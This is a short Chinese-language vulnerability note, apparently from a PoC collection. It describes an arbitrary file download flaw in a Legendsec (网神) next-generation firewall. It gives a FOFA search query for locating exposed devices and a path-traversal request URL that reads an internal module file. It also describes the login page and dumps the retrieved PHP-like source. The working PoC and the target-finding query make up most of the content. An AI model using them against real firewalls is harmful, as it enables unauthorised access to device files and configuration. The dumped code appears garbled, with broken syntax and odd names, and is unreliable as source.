

网神下一代极速防火墙存在任意文件下载

1、fofa

body="/images/lsec/login/"



2、界面如下



3、poc

/?g=sys_export_conf_local_save&file_name=../modules/system/import_export.mds



[中文]



The screenshot shows a login interface with a light blue header. Below the header, there are three input fields. The first field is labeled '请输入用户名' (Please enter username) and contains the text '123456'. The second field is labeled '请输入密码' (Please enter password) and contains the text '123456'. The third field is a smaller input field labeled '请输入验证码' (Please enter verification code) and contains the text '123456'. To the right of the third field is a small image showing a blue sky with clouds and the text '2M3G'. Below the input fields is a large blue button with the text '登录' (Login).



全部显示 X

```

1  #?
2  #? $Id: import_export.mda 2012-12-05 17:14:18 HovevUll Exp $ */
3
4  * Build template version 0.1
5  * Author Hovev <hovev.ull@hovetull.com>
6  * Copyright (C) Kinyoun
7  * License http://www.HovevUll.com
8  * $Version 2.0
9
10 */
11
12 ----- define code area -----*/
13 moduleName = "aya_import_export";
14 DEMO_DATA = 0;
15 $ENV[''] = 1;
16 MODULEJS = 1;
17 debugModule = debugCode($_ENV['debug']);
18 *get page link from session;
19 $page['link'] = $_SESSION['link'];
20
21 ----- post method -----*/
22 if($post_submit_action == "aya_import_conf_file"){
23     /*echo "MAX_FILE_SIZE = ".$_POST['MAX_FILE_SIZE'];
24     */
25     /* print array of $_FILES["reqfile"] */
26     echo "=====";
27 }
28 /*return;
29 */
30 $file_dir = "except/wabul/attachements/";
31 $file_name = $_FILES["reqfile"]["name"];
32 $file_error = $_FILES["reqfile"]["error"];
33
34 $error = "";
35 if($file_error == "1" || $file_error == "2"){
36     $NFResponse["errorfile_bodloge_error"];
37     return;
38 }
39 if($file_error != "0" ){
40     $NFResponse["errorfile_uploaded_error"];
41     return;
42 }
43
44 $uploadfilename = $file_dir.$filename.$_SESSION['sessionid'];
45 /*$uploadfilename = $file_dir.basename($file_name);
46 */
47 $move_result = move_uploaded_file($_FILES["reqfile"]["tmp_name"], $uploadfilename);
48 if ($move_result ){
49     $NFResponse["errorfile_uploaded_error"];
50     return;
51 }
52
53 $param['filename'] = $uploadfilename;
54 $param['type'] = "local";
55 $param['modules'] = "1";
56 $param['server'] = "1";

```